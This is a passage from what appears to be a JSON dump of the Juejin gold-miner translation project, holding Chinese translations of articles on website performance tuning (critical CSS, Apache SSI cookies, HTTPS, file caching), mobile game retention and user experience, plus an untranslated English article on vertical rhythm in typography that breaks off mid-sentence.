渲染的我们的主页。注意看在边缘下面的页面是仍然没有样式的。![Fold illustration](https://www.voorhoede.nl/assets/images/voorhoede-fold-l.jpg)左边的页面是只用关键 CSS 渲染的主页，而右边的页面使用完整的 CSS，红线代表边缘线。\n\n## 服务器\n\n我们自己架构了 de Voorhoede站点，因为我们想要控制服务器的环境。我们想实验一下我们可以怎样通过改变服务器配置来提升性能。在这个时候我们有一个 Apache 网站服务器并且我们把我们站点设置为 HTTPS 服务。\n\n### 配置\n\n为了增强性能和安全，我们需要研究一下怎么配置服务器。\n\n我们使用[H5BP boilerplate apache configuration](https://github.com/h5bp/server-configs-apache)，这是提升你的 Apache 网络服务器性能跟安全性的好的开始。他们也有提供别的服务器环境的配置。\n\n我们使用 GZIP 来压缩大部分的 HTML，CSS 和 JavaScript。我们为我们全部的资源设置一致的缓存头。可以阅读[the file level caching section](https://www.voorhoede.nl/en/blog/why-our-website-is-faster-than-yours/#file-level-caching).\n\n### HTTPS\n\n在你的网站使用 HTTPS 服务会对性能有影响。这个不良影响主要来自于设置 SSL 握手，导致大量的等待时间。但是，跟其他地方一样，我们可以在这方面做些工作！\n\n**HTTP严格传输安全**是一个 HTTP 头，可以让服务器告诉浏览器它只允许使用 HTTPS 通讯。这个方法避免了 HTTP 请求被重定向为 HTTPS 。所有试图连接到这个网站的 HTTP 应该自动被转换。它节省了一个来回。\n\n**TLS 错误开端** 允许客户端在第一个 TLS 来回之后立刻发送加密数据。这个优化对于新的 TLS 链接把握手减少到了一个来回。一旦客户端知道密钥便可以开始传输应用数据。剩下的握手用于确认没人在篡改握手记录，并可以并行执行。\n\n**TLS会话恢复** 通过确认浏览器和服务器在过去是否在 TLS 上通信过的节约了另一个来回，浏览器可以记忆 session 标识符，在下一次建立连接时，标识符可以重新使用并节约一个来回。\n\n我听起来像一个开发运营工程师，但我不是。我只是读了一些东西并看了一些视频。我喜欢来自 Google I/O 2016的[Mythbusting HTTPS: Squashing security’s urban legends by Emily Stark](https://www.youtube.com/watch?v=YMfW1bfyGSY)\n### cookies 的使用\n\n我们没有服务器端的语言，只有静态的Apache网络服务器。但一个 Apache 网络服务器仍然可以执行 server side includes（SSI）和阅读 cookies。通过巧妙的使用 cookies 和分发部分被 Apache 重写的 HTML，我们可以加速前端的性能。看下面的例子（我们实际的代码要复杂一点，但可以归纳为一样的想法）：\n\n\n    <!-- #if expr=\"($HTTP_COOKIE!=/css-loaded/) || ($HTTP_COOKIE=/.*css-loaded=([^;]+);?.*/ && ${1} != '0d82f.css' )\"-->\n    <noscript><link rel=\"stylesheet\" href=\"0d82f.css\"></noscript><script>\n    (function() {\n        function loadCSS(url) {...}\n        function onloadCSS(stylesheet, callback) {...}\n        function setCookie(name, value, expInDays) {...}\n    \n        var stylesheet = loadCSS('0d82f.css');\n        onloadCSS(stylesheet, function() {\n            setCookie('css-loaded', '0d82f', 100);\n        });\n    }());\n    </script>\n    <style>/* Critical CSS here */</style>\n    <!-- #else -->\n    <link rel=\"stylesheet\" href=\"0d82f.css\">\n    <!-- #endif -->\nApache 服务器端的逻辑是以 `<!-- #`开始的像备注一样的地方。我们一步一步的开始：\n\n\n- `$HTTP_COOKIE!=/css-loaded/` 检查是否没有 CSS 缓存 cookie 存在\n- `$HTTP_COOKIE=/.*css-loaded=([^;]+);?.*/ && ${1} != '0d82f.css'` 检查 CSS 缓存的版本是否最新的版本\n- If `<!-- #if expr=\"...\" -->` 如果这是访问者的第一次浏览，我们赋值为`true`\n- 对于第一次浏览，我们增加一个 `<noscript>` 标签带有阻塞的`<link rel=\"stylesheet\">`。我们为了可以通过 JavaScript 来异步加载完整CSS而这样做。如果 JavaScript 被禁止了，这是不可能完成的。这代表着一种后备方案，我们 `按照常规` 用阻塞方式加载 CSS.。\n- 我们增加一个带有懒加载 CSS 和 `onloadCSS` 回调及设置 cookies 的函数的嵌入脚本\n- 在同一个脚本我们异步载入完整 CSS。\n- 在 `onloadCSS` 回调我们把带有版本哈希的 cookie 值设置成 cookie。\n- 在脚本之后我们增加关键 CSS 的嵌入样式表。这会阻塞，但阻塞很小并避免页面展示无样式的 HTML。\n- 这个`<!-- #else -->` 语句(意味着`css-loaded`的 cookie **存在**)说明访问者是再次浏览。因为我们可以预测 CSS 文件之前加载过因此我们可以借助浏览器缓存来使用阻塞的方式来加载样式表。它会从缓存中读取并即时加载。\n\n同样的方法可以用于为了首屏浏览而异步加载字体，假设我们可以在再次浏览中从浏览器缓存中读取他们。\n![Cookie overview screenshot](https://www.voorhoede.nl/assets/images/voorhoede-cookies-l.jpg)看我们的 cookies 是如何被用于区分第一次浏览和重复浏览。\n## 文件级别缓存\n\n因为我们在重复浏览中很依赖于浏览器缓存，我们需要确认我们的缓存是正确的。我们在理想情况下想永久缓存资源（css,js,fonts,images），仅在文件改变的时候让缓存无效。如果URL是独特的话，缓存是无效的。当我们发布新版本时，我们`git tag`我们的网站，最简单的方式是增加一个带版本号的查询参数来请 URLs。像`https://www.voorhoede.nl/assets/css/main-dddd3f52a5.css?v=1.0.4`。但是，这个方法的缺点是当我们需要写一个新的博客推送（这是我们的代码库的一部分，不是存放在外部的 CMS），我们所有的资源的缓存会无效化，尽管这些资源没有变化。\n\n当尝试升级我们的方法时，我们偶然发现 [gulp-rev](https://github.com/sindresorhus/gulp-rev) 和 [gulp-rev-replace](https://github.com/jamesknelson/gulp-rev-replace)。这些脚本通过在文件名加上内容哈希来帮助我们修订文件版本。这意味着只有文件实际变化时URL请求才会变化。现在我们有了基于每个文件的缓存无效化处理。这让我的心跳变得猛烈了！\n\n## 结果\n\n如果你来到这里（了不起！）你可能想要知道结果。测试你的网站性能可以通过带有比较可行的提示的 [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) 和带有大量网络分析的 [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) 这些工具来完成。我想最好的展现你的网站渲染性能的方法是在极端限制你的网络链接的情况下观察你的页面的变化。这代表着：限制网络到基本不现实的地步。在 Google 你可以限制你的链接（通过 inspector > Network tab）并看请求是怎么慢慢的在你的页面构建的情况下加载。\n\n看一下我们的主页是怎么在被限制的 50KB/S 的 GPRS 连接下加载。\n![Network analysis for de Voorhoede site for the first page view](https://www.voorhoede.nl/assets/images/voorhoede-network-analysis-l.jpg)一个关于页面第一次浏览时演化的总览。\n在 50KB/S 的 GPRS 网络下首次访问我们的网站的第 2.27 秒，我们的首屏渲染的情况可以在幻灯片的第一张图片和与黄线对应的瀑布流上观察。黄线在 HTML 被加载后的右侧绘制。 HTML 包括关键 CSS，保证了页面是可用的。所有其他的阻塞资源被设置为懒加载的，因此我们可以在别的部分被下载后再跟页面进行交互。这就是我们想要的！\n\n另一个需要注意的是自定义字体在这样的慢连接下是不会被加载的。font face observer 会关注这一点，如果我们不异步加载字体，在大多数浏览器你会在FOIT等待一段时间。\n\n完整的 CSS 文件在 8 秒后才被加载。相反，如果我们使用阻塞方式加载完整CSS而不是嵌入关键 CSS，我们可能会盯着白屏页面 8 秒。\n\n如果你好奇这些时间跟不那么关注性能的页面相比是怎样的结果，就去试试吧。加载时间会涨破屋顶！\n\n利用前面介绍的工具来测试我们的网站也会得到一些好的结果。PageSpeed insights 给我们在移动端的表现 100/100 的分数，多么了不起！\n\n![PageSpeed insights results for voorhoede.nl](https://www.voorhoede.nl/assets/images/pagespeed-insights-voorhoede-l.jpg)Woohoo! 100/100 on speed\n当我们看 WebPagetest 我们得到下面的结果：\n![WebPagetest results for voorhoede.nl](https://www.voorhoede.nl/assets/images/webpagetest-voorhoede-l.jpg)WebPagetest results for voorhoede.nl\n我们可以看到我们的服务端性能很好并且首次浏览性能指数是 693 .这代表我们的页面在网线连接的情况下 693 毫秒后便可以使用。看起来很好！\n\n##发展路线\n\n我们还没完成并在不断的迭代改进我们的方法。在最近我们会关注：\n\n-\n**HTTP/2**: 我们最近正在实验使用它。这篇文章描述的很多东西是基于 HTTP/1.1 的限制下的最佳实践。简单来说： HTTP/1.1 诞生在表格布局和内嵌样式都让人觉得惊奇的 1999 年。HTTP/1.1 完全没有为了带有 200 个请求的 2.6MB 的页面而设计。为了减轻我们可怜的旧协议的压力，我们链接 JS，CSS 和内嵌关键 CSS ，为小图片使用 URI 等等。每一个都是用来减少请求的。但是 HTTP/2 可以在同一个 TCP 链接上并行运行多重请求，这些串联和减少请求的方法可能会被证实为反模式。我们会在完成实验后迁移到 HTTP/2。\n\n\n-\n**Service Workers**:这是一个可以运行在后台的现代浏览器的 JavaScript API 。它让很多之前网站不支持的特性如离线支持，推送通知，后台同步等等变得可以使用。我们正在研究 Service Workers，但我们仍然需要把它引入到我们的网站。我向你保证，我们会！\n\n-\n**CDN**:因此，我们想要控制和自己架构我们的网站。是的，是的，现在我们想要迁移到 CDN 来避免由于客户端和服务器的物理距离的延迟。尽管我们的客户大部分在荷兰，我们想要通过展现我们的最好一面来跟前端开发社区接触：质量，性能，推动网络向前发展。\n\n谢谢阅读！你享受阅读这篇文章吗？你有评论或者问题吗？让我们知道通过 [Twitter](https://twitter.com/devoorhoede)。如果你享受构建快的网站，为什么不[加入我们](https://www.voorhoede.nl/en/team/)?\n\n"
  },
  {
    "path": "TODO/why-the-first-ten-minutes-is-crucial-if-you-want-to-keep-players-coming-back-to-your-mobile-game.md",
    "content": "> * 原文地址：[Why the first ten minutes are crucial if you want to keep players coming back](https://medium.com/googleplaydev/why-the-first-ten-minutes-is-crucial-if-you-want-to-keep-players-coming-back-to-your-mobile-game-4a89031b6308)\n> * 原文作者：[Adam Carpenter](https://medium.com/@Adam_Carpenter?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/why-the-first-ten-minutes-is-crucial-if-you-want-to-keep-players-coming-back-to-your-mobile-game.md](https://github.com/xitu/gold-miner/blob/master/TODO/why-the-first-ten-minutes-is-crucial-if-you-want-to-keep-players-coming-back-to-your-mobile-game.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[hanliuxin5](https://github.com/hanliuxin5)、[ryouaki](https://github.com/ryouaki)、[baileilei](https://github.com/baileilei)\n\n# 想拥有更多回头客？为什么前十分钟是至关重要的？\n\n## Post 1 of 3: 如何分析你的手机游戏的留存率数据\n\n![](https://cdn-images-1.medium.com/max/800/0*BwtoKf5kjO7zc98V.)\n\n作为一个移动开发者，你拥有的最强大的工具之一就是**数据**。以正确的方式利用游戏数据为识别问题、优化性能、为玩家提供价值以及最终拓展业务提供了难以置信的机会。\n\n在这篇文章中，我将讨论新用户首次体验，这可以帮助你确定游戏中可能会在哪些地方失去玩家。 我还会从 Google Play 分享的一些有意义的数据，以便更好地了解你的游戏性能并找出改进的机会。\n\n### Google Play 游戏平均玩家留存率\n\n留存率是安装的关键性能指标之一，同时还有买方转换和每次安装的平均收入。在很多方面，保留是主要的指标，因为如果你能留住你的新玩家，你总能弄清楚如何赚钱**。**如果你不能保留任何玩家，你就没有能力赚钱。\n\n留存率的计算方法本身非常简单，在给定的保留日期内活跃的用户数**除以安装数**。 如果玩家在 Google Play 上免费下载游戏，2 天的平均留存率是 38%。2 天过后的留存率超过 46% 便能让你的游戏登上商店的推荐首页，这意味着你已经超过排行榜中的 75％。\n\n![](https://cdn-images-1.medium.com/max/800/0*USxPiUCAW1yHihsl.)\n\n**（第二天留存率）**\n\n然而，思考这些数据的含义也很重要。第二天留存率在 22% 到 52% 之间实际上意味着 48% 至 78% 的用户第一天玩了游戏第二天不会再玩。如果你想构建和推广游戏，应该尽一切所能来改善这一点。\n\n### 为了提高留存率应该关注什么\n\n许多开发人员将注意力放在第一天玩家到达的级别或用户通过的教程检查点等指标上。但是，这些衡量指标是针对游戏的，并不能帮助你了解与类似游戏的比较情况。\n\n一个关键指标比较了“第一天的游戏时间”和“第二天的保留时间”。这个度量标准，即 **第一天的游戏时间与第二天的留存率**相比，更多的是苹果和苹果之间的比较，这样的比较才更有价值和可比性，Google 用这些指标来帮助合作伙伴识别出早期的缺陷并且提升新用户的看到的游戏表现。\n\n![](https://cdn-images-1.medium.com/max/800/0*LTwqY-WB_Pq90xHk.)\n\n**Day 1 初次玩游戏的玩家的数据**\n\n此图显示新玩家在第一天玩的时间长度，和第二天留存的玩家的百分比。这个趋势表明**第一天在游戏中花费的时间越长，他们继续玩下去的可能性就越大**。\n\n我们可以直观的感受到。假设有人在第一天花很多时间玩这款游戏，他们玩的越开心，他们想要回来继续玩的机会就越大。\n\n但是，真正有趣的地方在于，我们根据第 2 天的保留情况将顶级游戏分为四梯队。第一个梯队，表现最佳的人，第二天的平均留存率为 52％。 他们的保持率在 22％ 左右的时候开始强劲上升，并在每一分钟的比赛中稳步上升。 第二个四梯队，第二天保留了 42％ 的平均水平，第三个四梯队平均为第二天的 32％。\n\n![](https://cdn-images-1.medium.com/max/800/0*vYdHUUVA2Ly99q2g.)\n\n我们可以看到，大部分四梯队在第一个十分钟之后呈现出非常相似的趋势; 他们都向上和向右弯曲，斜率逐渐减小。 然而，这就是**前十分钟，最有趣的模式是可见的**。\n\n### 第一个十分钟是至关重要的 \n\n这个图表放大到前10分钟，这是我们可以看到出现了非常明显的不同的模式。\n\n![](https://cdn-images-1.medium.com/max/800/0*YrkjzozmTK6OOgt5.)\n\n对于那些 **优秀的玩家**（绿色的线），他们的留存率开始强劲而稳步上升，第二个四梯队的玩家（蓝色的线）显示了不同的模式，由此我们可以看到留存率在前一分半的时间里保持平稳，然后才开始稳步增加。对于第三个四梯队的玩家（橙色的线），留存率在前四分钟基本没有变化，随后开始增加。但速度较慢。最后一个四梯队的玩家（红色的线）留存率实际上在前两分钟是下降的，直到第五分钟，留存率才超过了起点。\n\n现在，我们来看看**早期的模式如何影响我们的用户**。 下面的图表比较了最高四梯队用户（绿线）与最低四梯队用户（红线）的累计流失率。\n\n\n![](https://cdn-images-1.medium.com/max/800/0*6l_OD0QngrUKGuvX.)\n\n表现最差的是在第五分钟的时候就失去了 46％ 的新用户。 到第十分钟，他们已经损失了 58％ 的新用户。 基本上，超过一半的新用户甚至不会在游戏中持续十分钟。 相比之下，表现最好的是在第五分钟只流失了 17％ 的用户，而第十分钟只流失了 24％ 的用户。\n\n> **前五到十分钟是至关重要的，它们改变第二天的留存率**\n\n这些顶级的游戏比同等的表现较差的游戏成功的保留了两倍的用户。但仍然有一个关键的问题：如果你可以保留两倍及以下的 Day 2 保留的用户，那对你的每日活跃用户（DAU）有什么帮助呢？这样会增加你的收入吗？通过利用 Google Play 的数据，我们确定了两个关键模式。\n\n### 不要使留存率是“平地”和“峡谷”\n\n第一种模式被称为“**平地**”。这种反模式在十分钟内基本保持平稳，第五到第十分钟后的百分比才有意义地上升。第二个是“**峡谷**”，即保留在前五分钟左右一分钟一分钟地下降，然后又开始上升。\n\n![](https://cdn-images-1.medium.com/max/800/0*P7z6AeRbUS0z7QOQ.)\n\n作为一个广泛的估计，很可能在 25% 到 50% 的游戏中展示了其中一种反模式。利用自己数据仓库中的数据，可以生成这些图表，看看游戏中出现了哪些模式。如果你在你自己的数据看到** 平地**或**峡谷**，有几件事要检查：\n\n* 你的游戏可以通过其他渠道下载吗？这可能会导致无线网络不好的玩家退出。\n* 你的教程有趣吗？可以提升玩家对游戏的好感吗？\n* 你的加载过程是什么样的？新玩家可很难接受长时间的等待，因为他们还没有进入到游戏中。\n* 你们的游戏对新手有直觉感吗？从教程中出来的人是否知道如何该如何操作，如何建立他们的基础，以及如何开始重新获得乐趣？所有这些考虑对于确保用户坚持游戏非常重要。\n* 你是不是在第一天就做了大量的打折销售？这种策略可能会获得一些短期收益，但是会降低整体留存率。考虑运行在第一天取消报价的测试，但是让玩家感觉富有，最大限度地发挥他们的乐趣。\n\n优化游戏前十分钟的一大好处是，你可以快速迭代实验变化，并在几天内从 A/B 测试中得到结果。\n\n### 开始增加你应用的留存率\n\n游戏的前几分钟是应用生命周期中的关键时刻。在这个时候，他们在游戏中的唯一投资就是下载它所花费的时间和精力。任何负面的经验都会导致玩家退出，或者转向另一个应用。\n\n如果你在游戏中发现了“平地”或“峡谷”的反模式，或者在开始时的留存率太低，那么再看看可能导致它的原因。考虑二次下载、长负荷时间或其他因素是否会产生负面影响。如果你能将前十分钟内的不利于保留与任何特定因素联系起来，测试适度改变或消除原因，你应该看到你的游戏留存率、每日活跃用户以及最终收益的改善。\n\n* * *\n\n### 你觉得怎么样?\n\n你对游戏数据中的反模式和玩家留存率有什么意见吗？在下面的评论中继续讨论或使用标签 # AskPlayDev 我们会 [@GooglePlayDev](http://twitter.com/googleplaydev)回复，我们经常分享如何在  Google Play 中成功的新闻和技巧。\n\n* * *\n\n**这是 3 部分系列文章的第一篇文章，下个月请注意我的第二篇文章，我将在这里进一步讨论如何使用数据来理解和提高玩家的参与度。然后在我的第三篇文章和最后一篇文章中，我将探究玩家和“付费者”是否快乐，以及如何利用这些洞察力来推动转换。**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/why-user-experience-always-has-to-come-first.md",
    "content": "> * 原文地址：[Why User Experience Always Has to Come First](https://hbr.org/2016/09/why-user-experience-always-has-to-come-first)\n* 原文作者：[Michael Schrage](https://hbr.org/search?term=michael+schrage)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[Linpu.li (llp0574)](https://github.com/llp0574), [Siegen (siegeout)](https://github.com/siegeout)\n\n# 为什么用户体验最重要！最重要！最重要！\n\n事实胜于雄辩。如果一个 `UX` (用户体验) 感觉上更像是“用户开发”而不是“用户体验”，那这笔生意离失败不远了。建立在与用户发生冲突，干扰以及刺激行为之上的盈利一定是无法维持下去的。只顾挣快钱而不是提供更好的用户体验，这有悖于以用户为中心的理念。  \n\n这就是为什么一般而言数字服务，尤其是移动手机广告为了评估商业模型设计要制作最好的模板。将实时数据和预测分析紧密结合，可以让严格的企业能快速地在理论和实际的用户体验之间计算和权衡。这些利弊已经变得相当明确了。几乎企业中的每个人现在都可以在价值创造中知道那些受尊重的用户在哪里，以及哪里能收集到他们形成的数据集群。\n\n举例来说，`Facebook` 从移动广告客户那里赚到了大笔的钱，但是它目前拒绝资助那些破坏整体用户体验的低效率的技术。大概 40 % 的用户会放弃（继续浏览）网站因为[它需要三秒才能加载页面内容](https://www.facebook.com/business/news/improving-mobile-site-performance?__mref=message_bubble)。延迟问题经常导致了用户的流失，对 `Facebook` 来说也不可避免。毫不意外，这些公司都会告知广告客户加快他们的加载速度，否则就会终止生意。\n\n“我们的目标是在移动设备上带给用户最好的广告体验。通过考虑网站的性能和单个用户的网络关系，我们能提高这些体验并且带来广告商期待的结果。” 一位 [Facebook 的发言人如是说道。](http://www.wsj.com/articles/facebook-pushes-advertisers-to-speed-up-their-mobile-sites-1472673181)\n\n大致来说，当加载广告带来的延迟明显破坏了用户体验质量的时候，`Facebook` 就会对那些拖节的广告商的广告延迟开销进行用户体验的优化。任何形式的用户流失是一个日益可衡量的结果。`Facebook` 曾有力地宣称，比起劣质的广告，他们更看重优秀的用户体验。\n\n这凸显出了一个基本动态，它就是将数字产品和服务转为全球化: 动态定价被动态投机主义取代。这就是，平台的提供商和创新生态圈开始重新思考，怎样真正通过用户和合作伙伴赚钱。这意味着他们必须一直计算通过降低他们的用户体验来换取热钱或者块钱在什么时候是否值得。\n\n持续网络融合数据和分析基本上迫使企业透露他们如何看待用户关系的价值，作为合作伙伴，或作为对手经过一系列事件的积累。比起后一种看法，前一种看法激励了一个不同的用户体验上的投入。\n\n减少用户体验的烦恼和干扰是毫无疑问的，它与钱和创造价值无关。但对更多的企业来说，技术让他们很轻易就能侥幸做出一些给自己[带来效益，却干扰](https://www.sitepoint.com/why-i-love-interstitials-2/)了用户体验的小缺陷。换句话说，对每个用户和合作伙伴们微不足道的诱惑和机会都成倍增长。\n\n`Google` 的策略[减少了插页式广告](http://www.theverge.com/2016/8/23/12610890/google-search-punish-pop-ups-interstitial-ads) - 到处传播，错综复杂，充满整个手机屏幕的弹窗广告 - 更是增强了这个主题。 \n\n“`Google` 的目的不仅仅只是让人们搜索到更多的信息结果，也是希望这些结果可以让他们更好地工作 - 例如，不要用弹窗广告惹恼他们，” 弗奇观察到。“这也是 `Google` 用他们的搜索算法正在干的事情。” 去年他们开始[提高 ‘移动端友好’ 网站的搜索排名](http://www.theverge.com/2015/4/21/8463401/google-now-boosting-mobile-friendly-websites-in-search)，以及在 2014 年，也开始提高[加密网站的搜索排名](http://www.theverge.com/2014/8/7/5979609/google-is-nudging-us-towards-a-more-encrypted-web)。”\n\n注意这个弹出框的 `IQ` - 干扰指数 - 它是 `Google` 用来加权其移动搜索算法的千百种统计元素中的一个。这意味着，`Google` 追踪用户流失率和 `Facebook` 一样严格。但主要问题还是没有解决: 什么时候开始用户体验感觉像，或者说变成了用户开发？ \n\n那些真正让用户感兴趣或者讨好他们的广告显然很受欢迎，无论它的出现会怎么干扰到了用户。接纳率和流失率现在被越来越严格地追踪和分析。\n\n但是最重要的收获不应该反复掂量有关广告的效率，而应该是怎样 - 从个人和整体上 - 去定义广告和决定用户体验。这些现象，例如细琐的错误（灭顶之灾），或者弹窗广告，对可持续性的平台和生态圈的增长来说都是一个实实在在的威胁。\n\n所以这些用户体验的主题超越了数字广告的趋势。例如一位亚马逊的开发工程师告诉我，她的公司花费了很大的力气去避免对用户的数字化干扰。整个 `KPI` 的评价标准都是围绕着接纳/流失率的表现来创建的。一些测试正在被激烈的讨论着，它们明确地检查了“最优质”的用户或者“普通”用户是如何响应数字带来的干扰。她坚持认为提高亚马逊整体的用户体验是首要任务。优化整体的关系，而不是个体事务，是核心价值。\n\n企业内外领导者围绕以用户为中心的挑战变得越来越鲜明和严酷。商业规则是否会围绕为用户价值优化用户体验而重新考量？或者“动态投机”是否转交到用户开发？你的企业是如何定义和管理它的接纳/流失率将会让你找到答案。\n"
  },
  {
    "path": "TODO/why-vertical-rhythms.md",
    "content": "> * 原文地址：[Why is Vertical Rhythm an Important Typography Practice?](https://zellwk.com/blog/why-vertical-rhythms/)\n> * 原文作者：[Zell](https://zellwk.com/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# Why is Vertical Rhythm an Important Typography Practice? #\n\nYou probably heard of the term **Vertical Rhythm** if you researched a little about typography on the web. It’s one of the most important practices when working with typography. I’ve used Vertical Rhythm on all my sites ever since I read about it.\n\nOne day, it struck me that I haven’t had a clue why vertical rhythm was important. Two more questions quickly arose following that thought: “How does Vertical Rhythm improve the design of the site? What lessons can I draw from Vertical Rhythm so I can improve my design?”\n\nI decided to find out why. Here are my thoughts.\n\nLet’s begin the article with some context so we’re on the same page.\n\n## What is Vertical Rhythm? ##\n\nVertical Rhythm is a concept that originated from print typography (I think). In Vertical Rhythm, we try to keep vertical spaces between elements on a page consistent with each other.\n\nThis is often done with the help of a **baseline** – A common denominator used to create the consistent spaces.\n\nIn practice, we often visualize the baseline in print design by overlaying our page with a baseline grid as shown below:\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/baseline-print.png)\n\nBaseline grid in Print design\n\nBaseline grids on the web are slightly different because of the way the `line-height` property works. We often see a baseline grid that looks like this instead:\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/baseline-web.png)\n\nBaseline grid for the web\n\nDon’t worry about the nuances between print and web baseline grids. Although they look slightly different, the principle behind Vertical Rhythm still remain.\n\nAt this point, we know that Vertical Rhythm requires a baseline and a baseline grid. The next question, then, is “**how do we determine the baseline?”**\n\nThe **baseline is determined by the `line-height` property of the body text**. Let’s say your body text has a computed `line-height` value of 24px. Your baseline is then 24px.\n\nImplementing Vertical Rhythm from this point on is simple. There are two rules:\n\n1. Set the **vertical white space between elements** to a **multiple of 24px**.\n2. Set the **line-height of all text elements** to a **multiple of 24px**.\n\nA simple implementation of these two rules may look like this:\n\n```\nh1 {\n  line-height: 48px;\n  margin: 24px 0;\n}\n\np {\n  line-height: 24px;\n  margin: 24px 0;\n}\n```\n\nJust following these simple rules has the effect of producing results like this:\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/before-after.png)\n\nBefore and after implementing Vertical Rhythm\n\nWhich design feels better? By better, it could mean things like feeling:\n\n- More calm\n- More orderly\n- Easier to read\n- More professional\n- (etc)…\n\nBut why? What makes these two rules so powerful that it immediately changes your perception of the two (albeit simple) designs?\n\nLet’s take a look at the two rules again:\n\n1. Set the vertical white space between elements to a **multiple of 24px**.\n2. Set the line-height of all text elements to a **multiple of 24px**.\n\nDid you notice a commonality between these two statements? Yep, it’s a **multiple of 24px**.\n\nThese two rules tie-in with a principle of design called **Repetition**.\n\n## The Principle of Repetition ##\n\nRepetition is simply repeating the number of occurrences of one or more aspects of the design. Anything can be repeated. Some examples are:\n\n- a typeface\n- a font weight\n- a font size\n- a color\n- a line\n- a shape (like circle, square or triangle)\n- (etc) …\n\nYou can even repeat spatial relationships as well. In the case of Vertical Rhythm, we’re repeating a space of 24px throughout the page.\n\n**So, what does repetition do?**\n\n**Repetition breeds familiarity**. It has the ability to make things feel as if they belong together. It gives the feeling that someone has thought it all out, like it’s part of the plan.\n\nTake for instance, a lonely circle in the middle of nowhere.\n\n![one circle](https://zellwk.com/images/2016/why-vertical-rhythm/lonely-circle.png)\n\nLonely, I’m Mr.Lonely, I have nobody ~~~ ♪ \n\nWhat is the circle doing there? What is it supposed to mean? What is the designer trying to say?\n\nYour mind begins to race. It tries to search for coherent answers to your questions. Unfortunately, you won’t find any. You’re left hanging. You feel unsettled.\n\nWatch what happens if you add more circles to the group\n\n![more circle](https://zellwk.com/images/2016/why-vertical-rhythm/more-circles.png)\n\nMore circles\n\nThe circle doesn’t seem so out of place anymore does it? Don’t you feel more comfortable now?\n\nWatch what happens if you add even more circles to the group\n\n![Many circles](https://zellwk.com/images/2016/why-vertical-rhythm/many-circles.png)\n\nMoar moar moar circles!!! \n\nAh. Many circles. You begin to see a pattern now.\n\nNow, how do you feel when you look at this image now? How does it compare with the previous two images?\n\nIt feels almost the same as when you tried comparing the before / after Vertical Rhythm example, isn’t it?\n\nWow! Why?\n\n**Because your mind has subconsciously settled on an answer** by now. You see that these circles are all part of a plan. Someone has orchestrated this carefully. **It’s all there for a reason. You may not necessarily know the reason, but you know it’s there**. You feel safer now. That’s why.\n\nVertical Rhythm work for the same reason. We’re simply repeating the baseline throughout the entire page.\n\n**But there’s a trick with Vertical Rhythm**. The trick lies in determining the baseline. Think about it. Why, of all numbers, did we choose 24px as our baseline?\n\nThere’s only one reason: **it’s the value that gets repeated the most on the page.**\n\nTake a look at the baseline grid again. Notice what you see now:\n\n![Repeated baselines](https://zellwk.com/images/2016/why-vertical-rhythm/baseline-24.png)\n\nSee how the baseline of 24px is repeated multiple times?\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/mindblown.gif)\n\nMind-blowingly simple, isn’t it.\n\nNow that we know the principle of repetition, how can we apply it to the rest of our design?\n\n**Repeat more. You can also vary the repetitions.**\n\n## Varying Repetitions ##\n\nWe can’t possibly separate everything by 24px. It’ll be boring. We need to throw in some variations somewhere. But how?\n\nThe answer can be found within the two rules for Vertical Rhythm:\n\n1. Set the vertical white space between elements to a **multiple** of 24px.\n2. Set the line-height of all text elements to a **multiple** of 24px.\n\nYep, the keyword is **multiple**.\n\nYou can multiply 24px with whatever ratio you want. **The key is to remain consistent.** Since we already have a strong base at 24px, the **next strongest variation we can have is to multiple or divide 24px by 2**. Here, we get either 12px or 48px.\n\nCarry on with this process of multiplication and you’ll eventually end up with a scale:\n\n12px, 24px, 36px, 48px, 60px, 72px …\n\nTry using any of these numbers as a margin or padding to any element and they’ll automatically feel as if they’re part of the design.\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/separation-of-72px.png)\n\nSecond heading element has margin-top of 72px instead of 24px\n\nOf course, remember to **keep repeating** the number you choose to use!\n\n## Repeating 24px Elsewhere ##\n\nSo far, we’re focused on repeating the flow of 24px from top to bottom. Don’t you think you can repeat 24px horizontally on the left and right as well?\n\nTry it on the left and right padding of components:\n\n```\n.component {\n  padding-left: 24px;\n  padding-right: 24px;\n}\n```\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/components.png)\n\nTry using it as the gutter of your grid items:\n\n```\n.grid {\n  display: flex;\n  justify-content: space-between\n  margin-left: -12px;\n  margin-right: -12px;\n  overflow: hidden;\n}\n.grid-item {\n  margin: 24px;\n}\n```\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/grids.png)\n\nTry it as the padding (or margin) between your text and the edge of the screen (especially on a mobile device)\n\n```\narticle {\n  margin-left: 24px;\n  margin-right: 24px;\n}\n\n@media (min-width: 600px) {\n  article {\n    margin-left: 0;\n    margin-right: 0;\n  }\n}\n```\n\n![](https://zellwk.com/images/2016/why-vertical-rhythm/layout.jpg)\n\n## Wrapping Up ##\n\nSo, in summary, Vertical Rhythm is important because it follows one of the principles of design – repetition.\n\nRepetition has the ability to make things feel that they belong 